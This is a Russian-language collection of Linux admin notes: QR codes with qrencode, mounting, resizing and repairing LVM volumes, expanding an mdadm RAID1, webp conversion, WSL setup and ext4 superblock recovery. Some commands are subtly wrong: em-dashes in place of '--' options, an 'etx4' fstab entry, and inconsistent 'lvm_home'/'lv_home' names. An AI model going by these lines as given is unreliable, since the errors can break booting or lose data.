ознакомиться
Как создать QR-коды в командной строке Linux

sudo apt install qrencode

текст
qrencode -s 6 -l H -o "text.png" "Этот тип QR содержит обычный текст."

цвет
qrencode -s 6 -l H --foreground="3599FE" --background="FFFFFF" -o "blue.png" "Этот QR-код будет бело-голубым."

местоположение
qrencode -s 6 -l H -o "geo.png" "geo:12.459444,99.978611"

телефон
qrencode -s 6 -l H -o "phone.png" "tel: 5555555555"

электронное письмо
qrencode -s 6 -l H -o "email.png" "mailto:proghoster@gmail.com?subject=Linux&body=Статьи по линуксу классные!"

веб-сайт
qrencode -s 6 -l H -o "URL.png" "https://zalinux.ru"

SMS или MMS
qrencode -s 6 -l H -o "SMS.png" "smsto:5555555555,Это текст SMS-сообщения."

подключиться к Wi-Fi
qrencode -s 6 -l H -o "wifi.png" "WIFI:T:WPA;S:СЕТЬ;P:ПАРОЛЬ;;"

добавление контакта
qrencode -s 6 -l H -o "contact.png" < contact.txt

события в календарь
qrencode -s 6 -l H -o "event.png" < event.txt

пояснение по параметрам
-s 6: устанавливает размер блоков в клетчатом шаблоне QR. Предоставляемое вами число задаёт размер в пикселях длины одной стороны блока.
-l H: устанавливает уровень исправления ошибок. Мы можем использовать следующие варианты: «L» для низкого, «M» для среднего, «Q» для довольно высокого и «H» для высокого или максимального. Различные уровни исправления ошибок могут справиться с разным объёмом повреждений или нечёткостью при сканировании QR-кода. «Низкий» позволяет успешно сканировать код, если до семи процентов кода скрыто или повреждено. «Средний» увеличивает этот показатель до 15 процентов. «Достаточно высокий» может справиться с повреждением до 25 процентов кода. «Высокий» уровень может справиться с колоссальными 30 процентами повреждений или неразборчивости при сканировании QR-кода. Чем больше исправлений ошибок вы используете, тем больше будет общий QR-код. Это связано с тем, что ему необходимо хранить избыточную информацию, что означает, что в шаблоне больше блоков.
-o "text.png": параметр вывода позволяет указать имя сгенерированного изображения. По умолчанию это изображение Portable Network Graphics (PNG). Если вы используете параметр -t (тип), вы можете изменить вывод на различные форматы, включая инкапсулированный постскрипт (EPS), масштабируемую векторную графику (SVG) и множество различных вариантов вывода на основе символов Американского национального института стандартов (ANSI).
Текст для кодирования предоставляется последним и заключён в кавычки.

Т: Тип безопасности. Это может быть WEP, WPA или WPA2. Обратите внимание, что между буквой «T» и значением безопасности стоит двоеточие, а также точка с запятой «;» после настройки безопасности.
S: идентификатор набора услуг (SSID) сети Wi-Fi, проще говоря, имя Wi-Fi сети. Обратите внимание, что между «S» и SSID стоит двоеточие, а также точка с запятой «;» После SSID.
P: пароль или ключ безопасности сети Wi-Fi. Обратите внимание, что между буквой «P» и ключом безопасности стоит двоеточие, а также две точки с запятой «;» после пароля для входа в Wi-Fi сеть.


приложения
Госуслуги СТОП Коронавирус
https://play.google.com/store/apps/details?id=com.minsvyaz.gosuslugi.stopcorona&hl=ru&gl=US

Сканер QR-кода и Сканер штрих-кода
https://play.google.com/store/apps/details?id=com.camvision.qrcode.barcode.reader


ссылки по теме
Почему введение проверки QR-кодов не имеет смысла в общественном транспорте и торговых центрах?
Реверс-инжиниринг QR-кода для доказательства вакцинации
https://github.com/MikkelPaulson/smart-health-card-parser



Монтирование LVM-based томов (LVM-in-LVM)
Задача:
добраться до данных в этих разделах с родительской машины.

Дано:
виртуальная машина на LVM-разделе /dev/mapper/vol-centos1
внутри неё имеются разделы /boot, / и swap, причем / и swap на LVM

для начала посмотрим что из себя представляет /dev/mapper/vol-centos1:
# kpartx -l /dev/mapper/vol-centos1
vol-centos1p1: 0 1024000 /dev/loop0 2048
vol-centos1p2: 0 15751168 /dev/loop0 1026048
и замяпим разделы:
# kpartx -a /dev/mapper/vol-centos1
после этого в /dev/mapper у нас появятся два раздела
vol-centos1p1 vol-centos1p2

Первый раздел vol-centos1p1 (/boot) нас не интересует, мы можем его хоть сейчас примонтировать. Нас интересует второй раздел vol-centos1p2, в котором находятся / и swap.
просканируем и увидем LVM-тома:
# lvm pvscan
PV /dev/mapper/vol-centos1p2 VG VolGroup lvm2 [7.51 GiB / 0 free]
Total: 1 [7.51 GiB] / in use: 1 [7.51 GiB] / in no VG: 0 [0 ]

теперь нам необходимо активировать LVM-тома, что бы добраться до них, делаем:
# lvm vgchange -a y
2 logical volume(s) in volume group «VolGroup» now active

в /dev/mapper появятся еще два раздела
vol-centos1p1 vol-centos1p2 VolGroup-lv_root VolGroup-lv_swap

вот теперь мы спокойно можем примонтировать раздел VolGroup-lv_root и удобно работать с ним:
# mount /dev/mapper/VolGroup-lv_root /mnt

После работы, надо все вернуть на круги своя.
отмонтируем # umount /dev/mapper/VolGroup-lv_root
деактивируем LVM-тома # lvm vgchange -a n VolGroup
удаляем маппинг # kpartx -d /dev/mapper/vol-centos1

Монтирование LVM томов (CentOS)
root@debian:~# fdisk -l /dev/sda
Disk /dev/sda: 6 GiB, 6442450944 bytes, 12582912 sectors
Disk model: QEMU HARDDISK
Units: sectors of 1 * 512 = 512 bytes
Sector size (logical/physical): 512 bytes / 512 bytes
I/O size (minimum/optimal): 512 bytes / 512 bytes
Disklabel type: dos
Disk identifier: 0x000c434c

Device Boot Start End Sectors Size Id Type
/dev/sda1 * 2048 2099199 2097152 1G 83 Linux
/dev/sda2 2099200 12582911 10483712 5G 8e Linux LVM

диск обычный
root@debian:~# parted /dev/sda1 print
Model: Unknown (unknown)
Disk /dev/sda1: 1074MB
Sector size (logical/physical): 512B/512B
Partition Table: loop
Disk Flags:

Number Start End Size File system Flags
1 0,00B 1074MB 1074MB xfs

диск с LVM
root@debian:~# parted /dev/sda2 print
Error: /dev/sda2: unrecognised disk label
Model: Unknown (unknown)
Disk /dev/sda2: 5368MB
Sector size (logical/physical): 512B/512B
Partition Table: unknown
Disk Flags:

Если вы попытаетесь смонтировать LVM так же, как вы это делаете с другими стандартными разделами Linux, у вас ничего не получится.

root@debian:~# mount /dev/sda2 /mnt
mount: /mnt: unknown filesystem type 'LVM2_member'.

Чтобы смонтировать раздел, сначала определите группу томов, содержащуюся в /dev/sda2:

root@debian:~# lvm pvscan
PV /dev/sda2 VG centos lvm2 [<5,00 GiB / 0 free]
Total: 1 [<5,00 GiB] / in use: 1 [<5,00 GiB] / in no VG: 0 [0 ]

root@debian:~# vgscan
Reading volume groups from cache.
Found volume group "centos" using metadata type lvm2

root@debian:~# lvscan
inactive '/dev/centos/swap' [616,00 MiB] inherit
inactive '/dev/centos/root' [4,39 GiB] inherit

root@debian:~# pvs
PV VG Fmt Attr PSize PFree
/dev/sda2 centos lvm2 a-- <5,00g 0

root@debian:~# lvdisplay /dev/centos
--- Logical volume ---
LV Path /dev/centos/swap
LV Name swap
VG Name centos
LV UUID wjDWlO-4ipJ-8w3g-xx7v-AvaS-lk8s-duwIiG
LV Write Access read/write
LV Creation host, time localhost, 2018-08-12 11:47:26 +0000
LV Status available
# open 0
LV Size 616,00 MiB
Current LE 154
Segments 1
Allocation inherit
Read ahead sectors auto
- currently set to 256
Block device 254:0

--- Logical volume ---
LV Path /dev/centos/root
LV Name root
VG Name centos
LV UUID c2DUKp-zXmb-ecIO-R26b-m477-3NXc-6dPwz8
LV Write Access read/write
LV Creation host, time localhost, 2018-08-12 11:47:26 +0000
LV Status available
# open 0
LV Size 4,39 GiB
Current LE 1125
Segments 1
Allocation inherit
Read ahead sectors auto
- currently set to 256
Block device 254:1


необходимо активировать LVM-тома, что бы добраться до них
root@debian:~# lvm vgchange -a y
2 logical volume(s) in volume group "centos" now active

проверяю
root@debian:~# ls /dev/mapper/
centos-root centos-swap control

swap мне не нужен, монтирую /dev/centos/root
root@debian:~# mount /dev/centos/root /mnt

после работы нужно не забыть отмонтировать
root@debian:~# umount /dev/centos/root

деактивируем LVM-тома
root@debian:~# lvm vgchange -a n centos
0 logical volume(s) in volume group "centos" now active
root@debian:~# ls /dev/mapper/
control


Изменение размера дисков LVM
http://xgu.ru/wiki/LVM
https://github.com/storaged-project/blivet-gui/wiki
Уменьшение виртуального диска с LVM
Как использовать LVM для управления устройствами хранения в Ubuntu 18.04
Как я могу изменить размер раздела LVM? (то есть: физический объем)
Как уменьшить корневой раздел XFS на LVM
Linux: LVM — уменьшить home, увеличить root
Расширение диска на Linux (LVM, классическая разметка)
Повесть о Linux и LVM (Logical Volume Manager).
КАК УВЕЛИЧИТЬ LVM РАЗДЕЛ В CENTOS 7
Как увеличить LVM раздел в CentOS 7
Расширение LVM диска (без изменения его структуры)
Изменение размера дисков LVM


Уменьшение размера раздела диска в Linux
Статья содержит информацию о способе уменьшения размера раздела диска, созданного посредством системы управления томами LVM и отформатированного в файловую систему ext4
Замечание: строго говоря, во всем запускаемых далее утилитах используется одна и та же единица измерения — «мебибайт» (за исключением «parted», использующей «мегабайт»), которую, тем не менее, мы по привычке будем называть «мегабайт»

  • скачиваем загрузочный диск Gparted, выполняем с него загрузку системы и запускаем утилиту «Terminal»

  • определяем имя интересующего нас логического раздела LVM (параметр «LV Path»)

  • sudo lvdisplay

  • подключаем раздел

  • sudo mount /dev/some-vg/root /mnt

  • просматриваем объем занятого пространства файловой системы раздела

  • sudo df -h

  • отключаем раздел

  • sudo umount /dev/some-vg/root

  • проверяем файловую систему

  • sudo e2fsck -vf /dev/some-vg/root

    Замечание: v — вывод подробных сообщений, f — выполнить проверку, даже если файловая система помечена, как не содержащая ошибок

  • уменьшаем размер файловой системы
    sudo resize2fs -p /dev/some-vg/root 3000M

    Замечание: p — отображать прогресс выполнения каждого этапа

  • уменьшаем размер раздела; в качестве нового размера указываем РАЗМЕР_ФАЙЛОВОЙ_СИСТЕМЫ + 1

  • lvreduce /dev/some-vg/root —size 3001M

  • проверяем, что в процессе уменьшения размера раздела никакие данные не были повреждены; для этого пробуем увеличить размер файловой системы до максимально возможного, в результате чего он должен вырасти на 1 МБ

  • sudo resize2fs /dev/some-vg/root

  • определяем имя интересующего нас физического раздела LVM (параметр «PV Name»)

  • sudo pvdisplay

  • выводим информацию о распределении выделенных физических областей по разделу

  • sudo pvs —verbose —segments /dev/sda5

  • перемещаем выделенные физические области так, чтобы между ними не было свободного пространства

  • sudo pvmove —alloc anywhere /dev/sda5:2370-2497

  • уменьшаем размер раздела; в качестве нового размера указываем ОБЪЕМ_ЗАНЯТЫХ_ОБЛАСТЕЙ (параметр «Allocated PE») * РАЗМЕР_ОБЛАСТИ (параметр «PE Size») + 1

  • sudo pvresize /dev/sda5 —setphysicalvolumesize 3517M

    Замечание: если указать слишком маленькое значение, ничего страшного не произойдет — утилита просто сообщит, что новый размер меньше объема занятого пространства

  • запускаем parted для интересующего нас диска

  • sudo parted /dev/sda

  • устанавливаем в качестве единиц измерения по умолчанию — мебибайты

  • unit MiB

  • просматриваем таблицу разделов

  • print free

  • уменьшаем размер логического раздела, при этом конец раздела вычисляем так: НАЧАЛО_РАСШИРЕННОГО_РАЗДЕЛА + ОБЪЕМ_ЗАНЯТЫХ_ОБЛАСТЕЙ * РАЗМЕР_ОБЛАСТИ + ОБЪЕМ_НЕИСПОЛЬЗУЕМОГО_ПРОСТРАНСТВА (параметр «PV Size» после знака «/») + 2

  • resizepart 5 3764MiB

    Замечание: перед выполнением операции нужно повторно просмотреть объем неиспользуемого пространства физического раздела LVM

  • проверяем, что в процессе уменьшения размера раздела никакие данные не были повреждены; для этого пробуем увеличить размер физического раздела LVM до максимально возможного, в результате чего объем неиспользуемого пространства должен вырасти на 1МБ

  • sudo pvresize /dev/sda5

  • уменьшаем размер расширенного раздела до размера логического раздела

  • resizepart 2 3764MiB


Уменьшение размера LVM раздела в Centos

Решение

Перед изменением размера раздела его необходимо отмонтировать, но
учитывая что редактировать нам надо корневой раздел, лучше загрузится с
LiveCD/LiveDVD или с установочного диска в режиме rescue (для этого выбрать соответствующий пункт меню загрузки с диска).

При работе с rescue-диска, к командам LVM надо впереди добавять lvm, либо выполнять их из встроенного интерпретатора lvm:


# lvm pvs
либо
# lvm
lvm> pvs

Проверяем, определился или нет, системой наша LVM группа.


# pvs
  PV         VG         Fmt  Attr PSize   PFree  
  /dev/sda1  VolGroup   lvm2 a-   100,00g      0

# vgs
  VG         #PV #LV #SN Attr   VSize   VFree  
  VolGroup   1   2   0   wz--n- 100,00g      0

# lvs
  LV         VG         Attr   LSize   Origin Snap%  Move Log Copy%  Convert
  lv_root    VolGroup   -wi-a-  98,00g
  lv_swap    VolGroup   -wi-a-   2,00g

lvreduce урезает размер LVM раздела. Работает она
следующим образом, параметр -L указывает на изменение размера раздела,
здесь же есть 2 варианта: указание размера и относительное значение, со
знаком + или -. Например, -L 83G урежет размер до 83G(то бишь lvm_root станет 83Gb вместо 98Gb), соответственно -L -15G или -L +15G уменьшит или увеличит размер на указанный (lvm_root станет 98G минус 15G или 98G плюс 15G).

Итак, нам надо уменьшить размер раздела следующей командой:


# lvreduce -r -L -15G /dev/Volgroup/lv_root



Наличие опции -r указывает, что надо также изменить размер файловой системы, без неё данные будут утеряны.


Успешность выполнения команды lvreduce проверяется просмотром свободного места в VolGroup.


# vgs

Свободного места должно быть 83G.




Создаём новый раздел для директории home


 lvcreate -L 83GB -n lv_home VolGroup 

и файловую систему на нём.


 mkfs.ext4 -L home /dev/VolGroup/lvm_home

Добавляем запись о разделе в файл /etc/fstab


 /dev/VolGroup/lvm_home  /home   etx4 defaults 1 2 



Перенести всю информацию из директории /home относительно
раздела / (корневого раздела) в /home вновь созданого раздела (он будет
пустой, если не считать системной директории lost+found)



Для этого:


  • создаём папки к которым будут смотрированы разделы

mkdir /mnt/{root,home}

  • монтируем

mount -t ext4 /dev/VolGroup/lv_root /mnt/root
mount -t ext4 /dev/VolGroup/lv_home /mnt/home

  • перемещаем информацию

mv -v /mnt/root/home /mnt/home

загружаем нашу ОС и проверяем логические разделы LVM


lvdisplay
  --- Logical volume ---
  LV Name                /dev/VolGroup/lv_root
  VG Name                VolGroup
       .....
  LV Size                15,00 GiB
       .....
   
  --- Logical volume ---
  LV Name                /dev/VolGroup/lv_home
  VG Name                VolGroup
       .....
  LV Size                83,00 GiB
       .....
   
  --- Logical volume ---
  LV Name                /dev/VolGroup/lv_swap
  VG Name                VolGroup
       .....
  LV Size                2,00 GiB









увеличить размер диска LVM
1. Посмотри, сколько свободно в VG
vgdisplay ubuntu-vg
Там будет строка типа Free PE / Size, например 147.00 GiB.

2. Увеличь ubuntu-lv на всё доступное пространство
lvextend -l +100%FREE /dev/ubuntu-vg/ubuntu-lv
Это увеличит размер logical volume ubuntu-lv на всё свободное место в ubuntu-vg.

3. Расширь файловую систему
Если у тебя ext4:
resize2fs /dev/ubuntu-vg/ubuntu-lv
Если у тебя xfs:
xfs_growfs /
Можно выполнить даже на живой системе, если / смонтирован и используется.

отремонтировать диск LVM
Как отремонтировать диск LVM с помощью fsck

1. Проверка и исправление диска LVM без шифрования с помощью fdisk
Для проверки LVM используйте следующие шаги.
Для начала проверяем разметку дисков с lsblk:

lsblk

Пример вывода:
NAME                 MAJ:MIN RM   SIZE RO TYPE  MOUNTPOINT
sda                    8:0    0    20G  0 disk  
└─sda1                 8:1    0    20G  0 part  
  └─xubuntu--vg-root 253:0    0    19G  0 lvm   / 
sr0                   11:0    1  1024M  0 rom

Как можно увидеть, LVM назван xubuntu--vg-root, но мы не можем запустить fsck на это имя, так как команда не найдёт его. Нам нужно получить полное имя, для этого нужно запустить команду lvm lvscan для получения LV имени с которым мы можем запустить fsck на LVM.

Следующая команда должна запускаться с повышенными правами (с sudo или как root):

lvscan

Пример вывода:
inactive          '/dev/xubuntu-vg/root' [<19.04 GiB] inherit
inactive          '/dev/xubuntu-vg/swap_1' [980.00 MiB] inherit

Как можно увидеть, имя диска который нужно проверить на ошибки это /dev/xubuntu-vg/root, оно должно подойти для запуска fsck на этом имя.
Если /dev/xubuntu-vg/root не ACTIVE, нужно сделать его активным чтобы мы могли запустить его проверку.

lvchange -ay /dev/xubuntu-vg/root

Теперь это должно выглядеть примерно так:

sudo lvscan
  ACTIVE            '/dev/xubuntu-vg/root' [<19.04 GiB] inherit
  inactive          '/dev/xubuntu-vg/swap_1' [980.00 MiB] inherit

Теперь можно запустить fsck для проверку тома LVM:

fsck /dev/xubuntu-vg/root

или запустить форсированную проверку с автоматическим исправлением ошибок:

fsck -fy /dev/xubuntu-vg/root

2. Исправление LVM с шифрованием
Поиск корневого раздела:
sudo fdisk -l

Расшифровываем раздел.
sudo cryptsetup open --type luks /dev/nvme0n1p3 nvme0n1p3_crypt

Внимание: замените /dev/nvme0n1p3 на ваш собственный диск
замените "nvme0n1p3_crypt" на корректное имя раздела для вашей установки, вы можете его узнать запустив следующее в chroot:
cat /etc/crypttab | cut -f1 -d " "

Пример вывода:
nvme0n1p3_crypt

Монтирование корневого раздела
sudo vgscan
sudo vgchange -ay
sudo mount /dev/mapper/xubuntu--vg-root /mnt

Подготовка окружения chroot:
sudo mount /dev/nvme0n1p2 /mnt/boot/ # замените nvme0n1p2 на ваш загрузочный раздел!
sudo mount -o rbind /dev/ /mnt/dev/
sudo mount -t proc proc /mnt/proc/
sudo mount -t sysfs sys /mnt/sys/

Делаем так, чтобы в chroot работал DNS:
sudo cp /etc/resolv.conf /mnt/etc/resolv.conf

Входим в chroot:
sudo chroot /mnt /bin/bash

Переустанавливаем отсутствующие пакеты:
apt install cryptsetup lvm2

Заново генерируем (это может быть выполнено командой apt на предыдущем шаге — если это уже было сделано, то пропустите):
update-initramfs -u -k all

Покидаем среду chroot:
exit

Записываем буфер на диск:
sudo sync

Размонтируем файловые системы:
sudo umount /mnt/sys
sudo umount /mnt/proc
sudo umount /mnt/boot






Объемы данных в современных системах растут с каждым днем и тот объем, который еще вчера считался достаточным, сегодня уже не способен удовлетворить текущие требования. Также дешевеют носители данных, особенно это касается твердотельных накопителей, что рано или поздно поставит администратора перед необходимостью апгрейда дисковой подсистемы. Но как быть, если вы используете программный RAID в Linux? В этой статье мы рассмотрим наиболее часто встречающийся сценарий с заменой дисков на более емкие и расширением объема массива.


Несмотря на то, что в качестве примера мы использовали Debian 9 все нижеизложенное будет справедливо для любого базирующегося на Debian дистрибутиве, а с небольшими поправками (там, где касается установки загрузчика) для любой Linux-системы.


По условиям задачи в нашем распоряжении есть виртуальная машина, в которой на двух дисках собраны два RAID1 для корневого раздела и подкачки, диски являются загрузочными. Мы специально выбрали такую конфигурацию, чтобы охватить все возможные сценарии и показать общие принципы работы с программным RAID при его расширении. При этом используемая конфигурация не является оптимальной или рекомендуемой, мы создали ее сугубо в образовательных целях.


Итак, у нас в системе используются два виртуальных жестких диска объемом 20 ГБ которые мы хотим заменить на новые виртуальные диски объемом в 30 ГБ желательно без существенного простоя системы.


Прежде всего ознакомимся с текущей конфигурацией дисковой подсистемы. Будет очень полезно выполнить перезагрузку и войдя в BIOS уточнить с какого именно физического диска мы загружаемся.


mdadm-extending-001.png


В нашем случае это первый физический диск. Теперь загрузимся в систему и выполним команду:


lsblk

ее вывод позволяет в удобном виде увидеть структуру текущей дисковой подсистемы.


mdadm-extending-002.pngКак можно увидеть, в нашем случае на двух физических жестких дисках sda и sdb расположены два программных массива raid1: md0 с корневой файловой системой и md1 с разделом подкачки объемом 16,8 ГБ и 3,2 ГБ соответственно.


Следующим шагом нам нужно посмотреть разметку на физических дисках, это можно сделать при помощи утилиты fdisk, но лучше использовать ее аналог с псевдографическим интерфейсом - cfdisk. Запустим ее с указанием интересующего нас диска:


cfdisk /dev/sda

mdadm-extending-003.pngЗдесь мы видим, что диск имеет таблицу разделов MBR (Label: dos в шапке) и содержит первичный раздел sda1 объемом 16,8 ГБ типа fd Linux RAID, а также логический раздел sda2, в котором находится еще один раздел типа fd Linux RAID размером 3,2 ГБ - sda5.


Запомним эти данные, так как аналогичную по структуре разметку нам нужно будет воспроизвести на новом жестком диске. Для этого нам нужно заменить один из старых дисков массива на новый, так как загрузились мы с первого физического диска, т.е. sda, то заменить нам следует sdb. Поэтому пометим его как сбойный для каждого из расположенных на нем массивов:


mdadm -f /dev/md0 /dev/sdb1
mdadm -f /dev/md1 /dev/sdb5

mdadm-extending-004.pngТеперь можно выключить сервер и физически заменить старый жесткий диск на новый. После этого загрузимся и выполним команду:


fdisk -l

mdadm-extending-005.pngКак видим в системе появился новый неразмеченный диск sdb объемом 30 ГБ. Теперь следует разметить его:


cfdisk /dev/sdb

Первым шагом указываем тип таблицы разделов, так как у нас уже используется MBR, то выбираем dos.


mdadm-extending-006.pngТеперь нам нужно создать аналогичную по структуре sda разметку, но с новыми разделами разделов. Единственное условие - они не должны быть меньше уже имеющихся. В нашем случае мы создадим первичный раздел объемом 26 ГБ и укажем для него тип Linux raid autodetect (fd) используя для этого кнопку Type утилиты.


mdadm-extending-007.pngЗатем запишем изменения кнопкой Write. На оставшемся месте создадим расширенный раздел (extended) и внутри его еще один раздел Linux raid autodetect (fd). В итоге у вас должна получиться разметка аналогичная по структуре sda, но с новыми размерами разделов.


Теперь добавим вновь созданные разделы в массивы:


mdadm --add /dev/md0 /dev/sdb1
mdadm --add /dev/md1 /dev/sdb5

mdadm-extending-008.pngПосле чего убедимся, что начался процесс ресинхронизации:


cat /proc/mdstat

mdadm-extending-009.pngИ обязательно дождемся ее окончания. Система в это время будет доступной, но может испытывать проблемы с производительностью из-за повышенной нагрузки на дисковую подсистему, поэтому желательно запланировать данный процесс на нерабочее время. После успешной ресинхронизации вывод команды будет выглядеть следующим образом:


mdadm-extending-010.pngВроде бы все хорошо, но не забываем про загрузчик, на новом диске его нет. Поэтому выполним:


dpkg-reconfigure grub-pc

Принимаем значения по умолчанию пока не появится окно с выбором дисков, указываем установку загрузчика на все физические диски, выбирать RAID-массив не надо.


mdadm-extending-011.pngПерезагружаем систему, выбрав в BIOS в качестве загрузочного устройства новый жесткий диск. Если все было сделано правильно, то вы загрузитесь уже с нового жесткого диска. Теперь нужно пометить sda как сбойный и исключить его из массива:


mdadm -f /dev/md0 /dev/sda1
mdadm -f /dev/md1 /dev/sda5

Выключаем сервер, физически заменяем диск на новый, загружаемся. Проверяем дисковую конфигурацию:


mdadm-extending-012.pngКак видим, теперь у нас в системе появился новый неразмеченный диск sda, но так как нам уже не нужно создавать разделы с отличным от sdb размером, то просто скопируем разметку с одного диска на второй, для этого используем еще одну утилиту sfdisk:


sfdisk -d /dev/sdb | sfdisk /dev/sda

mdadm-extending-013.pngПри выполнении данной операции важно не перепутать диски местами, иначе вы скопируете разметку с пустого диска на диск с данными, что приведет к их утере. Первым следует указать диск источник, вторым - целевой диск. Плюс данной операции - вместе с разметкой скопируется также загрузчик.


Снова добавим разделы в массив:


mdadm --add /dev/md0 /dev/sda1
mdadm --add /dev/md1 /dev/sda5

Дождемся окончания ресинхронизации:


mdadm-extending-014.pngПерезагрузимся несколько раз и убедимся, что загрузка возможна с обоих физических дисков. Теперь снова выполним команду:


lsblk 

и внимательно изучим вывод:


mdadm-extending-015.pngНесмотря на то, что мы увеличили размер sda1/sdb1 и sda5/sdb5 размеры массивов md0 и md1 остались неизменными. Но если мы вспомним, что программный RAID в Linux строится поверх разделов, то все станет на свои места. Это аналогично тому, что если бы мы заменили жесткий диск в системе на более емкий, но перенесли раздел без изменения размера.


Что делать? Расширить объем массива, для этого выполните команды:


mdadm --grow /dev/md0 --size=max
mdadm --grow /dev/md1 --size=max

Что у нас получилось?


mdadm-extending-016.png


Вроде бы все хорошо. Но если для раздела подкачки этого достаточно, то с разделами, содержащими файловую систему не все так просто. В этом можно убедиться, выполнив:


df -h

mdadm-extending-017.pngИз ее вывода видно, что размер файловой системы не изменился и нам по-прежнему доступно около 17 ГБ. Но здесь нет никакой ошибки, если мы вспомним, что программный RAID является для системы аналогом диска, который содержит раздел с файловой системы, то поймем, что несмотря на то, что мы увеличили размер диска, нам следует также увеличить размер раздела с данными. Для этого выполним:


resize2fs /dev/md0

mdadm-extending-018.pngВот теперь можно считать процесс расширения массива законченным, мы расширили все необходимые разделы и теперь можем использовать все доступное пространство новых дисков. Сам процесс может показаться несколько сложным, но если представить всю эту систему как матрешку, когда одни разделы вкладываются в другие - то все станет на свои места и система вновь станет стройной и логичной.


А в заключение не будет лишним напомнить, что все проведенные нами операции несут потенциальный риск полной потери данных, поэтому перед тем, как выполнять указанные в статье действия создайте полную резервную копию вашей системы.



https://interface31.ru/tech_it/2019/04/kak-uvelichit-razmer-programmnogo-raid-massiva-v-linux.html



заглянуть
для просмотра изображений с расширением .webp годится imagemagik или gthumb, нужно установить libwebp

sudo apt-get install webp
display example.webp

конвертация
cwebp -q 90 example.jpeg -o example.webp
dwebp example.webp -o example.png

конвертировать все файлы .webp в папке
for i in `find . -iname "*.webp"`; do dwebp $i -o $i.png; rm $i; done

переименовать все файлы с .webp в папке
find . -type f | sed 'p;s:.webp.:.:' | xargs -n2 mv

https://itsfoss.com/webp-ubuntu-linux/
https://lisakov.com/blog/renaming-find-sed-xargs-mv/



посмотреть

http://winitpro.ru/index.php/2017/12/27/kak-vklyuchit-windows-subsystem-for-linux-v-windows-server-2016/
https://docs.microsoft.com/ru-ru/windows/wsl/install-on-server
https://habr.com/ru/post/347078/

systeminfo | Select-String "^OS Name","^OS Version"

Get-WindowsOptionalFeature -Online -FeatureName Microsoft-Windows-Subsystem-Linux

Enable-WindowsOptionalFeature -Online -FeatureName Microsoft-Windows-Subsystem-Linux

Invoke-WebRequest -Uri https://aka.ms/wsl-ubuntu-1804 -OutFile ~/Ubuntu.zip -UseBasicParsing

Expand-Archive ~/Ubuntu.zip ~/Ubuntu

Remove-Item Ubuntu.zip

Ubuntu.exe

cmd.exe /c dir

export PATH=$PATH:/mnt/c/Windows/System32

$userenv = [System.Environment]::GetEnvironmentVariable("Path", "User")
[System.Environment]::SetEnvironmentVariable("PATH", $userenv + "C:\Users\Administrator\Ubuntu", "User")

$notepad.exe "C:\temp\test.txt"
$notepad.exe C:\\temp\\test.txt


прочее
Kali в Windows-подсистеме для Linux
Installing Kali Linux as a Windows 10 Subsystem for Linux
lxrun /install

git clone https://github.com/RoliSoft/WSL-Distribution-Switcher.git
cd WSL-Distribution-Switcher
python get-prebuilt.py kalilinux/kali-linux-docker
python install.py rootfs_kalilinux_kali-linux-docker_latest.tar.gz
lxrun /setdefaultuser root

http://winitpro.ru/index.php/2017/12/27/kak-vklyuchit-windows-subsystem-for-linux-v-windows-server-2016/
https://docs.microsoft.com/ru-ru/windows/wsl/install-on-server
https://habr.com/ru/post/347078/

полная статья тут




Недавно при включении компьютера, Ubuntu меня "порадовала" тем, что решила не загружаться и "свалилась" в busybox в момент инициализации пользовательского пространства (userspace) оно же initramfs. Немного ошарашенный начал разбираться. Оказалось, что мой старенький жёсткий диск дал небольшой сбой, и подпортил суперблок файловой системы. Впрочем, оказалось что это не смертельно, и проблема эта, довольно просто и быстро решается.

Суперблок - это часть на диске, отведенная под служебную информацию файловой системы. В нем хранится информация о разделе: тип файловой системы, размер, статус и информацию о других структурах метаданных. В случае потери информации с суперблока, велик риск потерять всю информацию с раздела. Поэтому Linux хранит несколько копий этой информации - т.е. несколько суперблоков.

Перед тем, как продолжить, я должен предупредить, что не обязательна причина в суперблоке. Такая проблема может возникать и по другим причинам, установить которые можно только имея определенный опыт, либо опытным путем. В любом случае, вся суть проводимых ниже действия, лишь в проверке диска на ошибки, поэтому как минимум ничем не повредит.

Для восстановления нам понадобится загрузочный диск или флэшка с Linux. Загружаемся, и запускаем терминал. В терминале пишем:

sudo fdisk -l|grep Linux|grep -Ev 'swap'

В результате выполнения команды, будет выведен список всех разделов:

/dev/sda2       371306496 976771071 605464576 288.7G 83 Linux

В моем случае это был один раздел. В этом списке нужно найти нужный раздел, и запомнить его. Он понадобится нам дальше. Далее посмотрим список доступных запасных суперблоков:

sudo dumpe2fs /dev/sda2 | grep superblock

В команде выше, /dev/sda2 необходимо заменить на полученный ранее, нужный раздел. В результате выполнения команды, будет выведен список всех суперблоков:

Primary superblock at 0, Group descriptors at 1-19
Backup superblock at 32768, Group descriptors at 32769-32787
Backup superblock at 98304, Group descriptors at 98305-98323
Backup superblock at 163840, Group descriptors at 163841-163859
Backup superblock at 229376, Group descriptors at 229377-229395
Backup superblock at 294912, Group descriptors at 294913-294931
Backup superblock at 819200, Group descriptors at 819201-819219
Backup superblock at 884736, Group descriptors at 884737-884755
Backup superblock at 1605632, Group descriptors at 1605633-1605651
Backup superblock at 2654208, Group descriptors at 2654209-2654227
Backup superblock at 4096000, Group descriptors at 4096001-4096019
Backup superblock at 7962624, Group descriptors at 7962625-7962643
Backup superblock at 11239424, Group descriptors at 11239425-11239443
Backup superblock at 20480000, Group descriptors at 20480001-20480019
Backup superblock at 23887872, Group descriptors at 23887873-23887891
Backup superblock at 71663616, Group descriptors at 71663617-71663635

Из списка запасных суперблоков, выбираем любой кроме Primary и запускаем проверку диска с указанием запасного суперблока:

sudo fsck -b 32768 /dev/sda2 -y

Параметр -y необходим для того, чтобы fsck не спрашивал что делать с каждой найденной ошибкой, а вместо этого ее автоматически исправлял если это возможно. После того, как fsck закончит, результат выполнения будет примерно таким:

fsck 1.40.2 (23-March-2016)
e2fsck 1.40.2 (23-March-2016)
/dev/sda2 was not cleanly unmounted, check forced.
Pass 1: Checking inodes, blocks, and sizes
Pass 2: Checking directory structure
Pass 3: Checking directory connectivity
Pass 4: Checking reference counts
Pass 5: Checking group summary information
Free blocks count wrong for group #241 (32254, counted=32253).
Fix? yes
Free blocks count wrong for group #362 (32254, counted=32248).
Fix? yes
Free blocks count wrong for group #368 (32254, counted=27774).
Fix? yes
..........
/dev/sda2: ***** FILE SYSTEM WAS MODIFIED *****
/dev/sda2: 59586/605464576 files (0.6% non-contiguous), 3604682/605464576 blocks

После этого перезагружаемся, отключаем флэшку/вынимаем диск из привода, и всё должно работать. :)



https://the-bosha.ru/2016/03/25/vosstanavlivaem-svalivshiysya-v-busybox-iz-za-oshibki-initramfs-linux/
